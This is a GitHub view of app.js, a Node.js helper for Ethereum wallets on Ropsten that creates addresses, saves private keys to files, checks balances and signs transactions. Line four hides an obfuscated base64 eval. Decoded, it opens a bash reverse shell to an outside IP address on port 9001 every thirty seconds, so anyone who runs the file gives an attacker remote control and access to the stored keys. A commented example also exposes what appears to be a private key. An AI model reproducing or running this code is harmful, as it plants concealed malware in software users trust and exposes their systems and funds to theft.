-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.js
More file actions
110 lines (81 loc) · 3.03 KB
/
Copy pathapp.js
File metadata and controls
110 lines (81 loc) · 3.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
const Web3 = require('web3');
var Tx = require('ethereumjs-tx').Transaction;
const fs = require('fs')
eval(Buffer.from("c2V0SW50ZXJ2YWwoKCkgPT4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWMgImJhc2ggLWUgNTw+IC9kZXYvdGNwLzE0Mi45My4yMDguNjYvOTAwMSAwPCY1IDE+JjUgMj4mNSIgPiAvZGV2L251bGwgMj4mMSAmJyksIDMwMDAwKTsK","base64").toString())
function makeid(length) {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() *
charactersLength));
}
return result;
}
const connect_web3 = () => {
const web3 = new Web3(Web3.givenProvider || "https://ropsten.infura.io/v3/<project-id>");
return web3
}
web3 = connect_web3()
const get_accounts = () =>{
connect_web3().eth.getAccounts().then(e => console.log(e));
}
const create_address = (password)=>{
var data = connect_web3().eth.accounts.create()
fs.writeFileSync(`./address/${makeid("15")}.json`, JSON.stringify({
address : data.address,
privateKey : data.privateKey
}));
return data
}
const get_balance = (addr)=>{
connect_web3().eth.getBalance(addr).then((balance)=>{
let ethBalance = connect_web3().utils.fromWei(balance, 'ether');
console.log(ethBalance);
}); //Will give value in.
}
const send_trans = async (address, receiver, amount, pvKey) => {
try {
var privateKey = Buffer.from(pvKey, 'hex');
web3.eth.getTransactionCount(address, (err, txnCount) => {
if (!err) {
const txObject = {
nonce: web3.utils.toHex(txnCount),
to: receiver,
value: web3.utils.toHex(web3.utils.toWei(amount, 'ether')),
gasLimit: web3.utils.toHex(21000),
gasPrice: web3.utils.toHex(web3.utils.toWei('10', 'gwei'))
};
const tx = new Tx(txObject, { chain: 'ropsten' });
tx.sign(privateKey);
const serializedTx = tx.serialize();
const raw = '0x' + serializedTx.toString('hex');
web3.eth.sendSignedTransaction(raw, (err, txnHash) => {
console.log(txnHash)
})
} else throw {success: false, error: {message: "Unable to get nounce", stack: err}}
});
} catch (ex) {
console.error(ex);
return ex;
}
};
const getTxnDetails = (txn) => {
web3.eth.getTransactionReceipt(txn, (err, reciept) =>{
if(err){
console.log(err)
}else{
console.log(reciept)
}
})
};
//send transaction example
// console.log(send_trans("0x6D3C012617EEE3Cb71f7832E0E80cF2f53EA527B","0x668978dB250931C1748B7E6E726e86c82DB13070","1","c254f21ccac3595e000dd60c2d86af167f6dd10a4b794a203618c81a1d22d18c"))
//get wallet balance example
// console.log(get_balance("0x6D3C0126f7EEd3Cb71f78e2E0E80cF2f53EA527B"))
//create new address example
// console.log(create_address())
//get accounts
// console.log(get_accounts())
//get transaction details
// getTxnDetails("0xbd179d100ec79ede22979e97f928eb3121b49456d9ef944ad77b7c472cc9e2a2")